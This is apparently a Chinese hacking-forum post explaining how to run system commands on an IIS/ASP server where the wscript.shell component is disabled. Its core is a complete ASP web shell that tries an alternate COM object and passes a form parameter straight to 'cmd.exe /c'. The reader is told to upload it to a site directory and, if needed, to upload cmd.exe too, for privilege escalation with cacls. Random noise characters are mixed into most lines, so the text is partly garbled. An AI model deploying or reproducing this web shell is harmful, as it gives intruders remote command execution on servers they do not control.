可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。+ x+ @; c5 ]1 L: _% ~/ |
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。, u, L3 c" _* H( g) C! b, J
要想让运行命令可以试试这种方法,成功率为五五之数。* o+ X- X( R# y2 p6 U& a
把下面代码复制:
0 _+ B/ I9 A$ H4 C- t1 W<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
' E* \# s, C* E3 ~8 G<%if err then%>
& _: C9 O6 W6 O7 A n5 ~) f<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
. X& G- Y g3 ?. G9 s4 D+ z<%
! H: E( v( b |3 E& Uend if' H1 v+ H8 {* G0 `+ a% `
response.write("<textarea readonly cols=80 rows=20>")& W( l; e' f3 M4 }4 M) A
On Error Resume Next! h; l7 l8 B. K
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall0 B4 V. @7 c) Q# |& R
response.write("</textarea>"), B7 M; I5 o( G4 [/ a
response.write("<form method='post'>")4 @9 M! b* h+ o! b! O' N
response.write("<input type=text name='c' size=60><br>")9 V& T$ ^2 e p$ Z- N2 L
response.write("<input type=submit value='执行'></form>")
. U% k# j8 g, C0 ]%>- b# G( X V3 O
+ S/ _* t: l r- \! l$ }$ f6 i保存为一个asp文件,然后传到网站目录上去
% J* V- P. O/ A0 O( V" K- @运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
' q# j7 F5 n" I! ?我用此成功运行过cacls命令。8 X/ L/ C* G+ `2 {, x2 ]- r ]
" ]) {0 a- a3 H9 Q* K2 N+ t第二那就是运行时出错,可能限制某些代码执行 |